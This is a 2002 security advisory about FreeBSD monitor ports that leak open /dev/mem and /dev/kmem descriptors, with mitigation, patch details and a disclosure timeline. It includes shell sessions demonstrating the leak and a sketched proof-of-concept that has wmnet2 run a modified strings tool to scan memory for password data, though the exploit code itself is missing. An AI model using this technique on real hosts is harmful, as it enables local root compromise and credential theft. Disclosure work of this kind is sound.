The FreeBSD ports asmon, ascpu, bubblemon, wmmon, and wmnet2 can be locally manipulated to take advantage of open file descriptors /dev/mem and /dev/kmem to gain root privileges on a target host. These five programs are installed setgid kmem by default. They will drop kmem privileges before executing user specified commands but file descriptors to /dev/mem and /dev/kmem will remain open. This can lead to a local root compromise in various ways (e.g. if an attacker chooses to scan for the master password file in the Linux kernel memory).
This issue was exclusively disclosed to iDEFENSE by badc0ded.
dummy 650 dim 4r VCHR 2,0 0t0 21146 /dev/mem
dummy 650 dim 5r VCHR 2,1 0xc040f54c 21145 /dev/kmem
bash-2.05a$ cat .wmmonrc
bash-2.05a$ wmmon &
bash-2.05a$ Monitoring 5 devices for activity.
current stat is :1
bash-2.05a$ /usr/local/sbin/lsof |grep dummy|grep mem
dummy 797 dim 3r VCHR 2,0 0t0 21146 /dev/mem
dummy 797 dim 4r VCHR 2,1 0xc040f54c 21145 /dev/kmem
bash-2.05a$ wmnet2 -e "dummy&/usr/local/sbin/lsof|grep dummy|grep mem"
wmnet: using kmem driver to monitor ec0
dummy 584 dim 3r VCHR 2,0 0t0 21146 /dev/mem
dummy 584 dim 4r VCHR 2,1 0xc037cb8f 21145 /dev/kmem
One possible exploit for these vulnerabilities is to replace getch() in strings(1) with:
Or a similar less CPU expensive function that reads a character from the /dev/mem file descriptor and execute the following:
wmnet2 -e exploit|grep root|grep Charlie
The latest copies of asmon, ascpu, bubblemon, wmmon, and wmnet2 from the FreeBSD ports collection are vulnerable and were tested on 4.6-RELEASE of FreeBSD. According to FreeBSD, all FreeBSD ports that use libkvm prior to and including 4.6.2-RELEASE may also be vulnerable.
Remove the setgid bit on the affected applications, however reducing the functionality:
chmod g-s /path.to/wmnet2
The FreeBSD advisory to be released in coordination with this advisory is FreeBSD-SA-02:39.libkvm. FreeBSD has provided the following patch details:
"Upgrade your vulnerable system to 4.6-STABLE; or to the RELENG_4_6, RELENG_4_5, or RELENG_4_4 security branch dated after the correction date (4.6.2-RELEASE-p2, 4.5-RELEASE-p20, or 4.4-RELEASE-p27)."
August 12, 2002 - Disclosed to iDEFENSE
September 6, 2002 - Disclosed to FreeBSD Security
September 6, 2002 - Disclosed to iDEFENSE clients
September 16, 2002 - Coordinated public disclosure by FreeBSD and iDEFENSE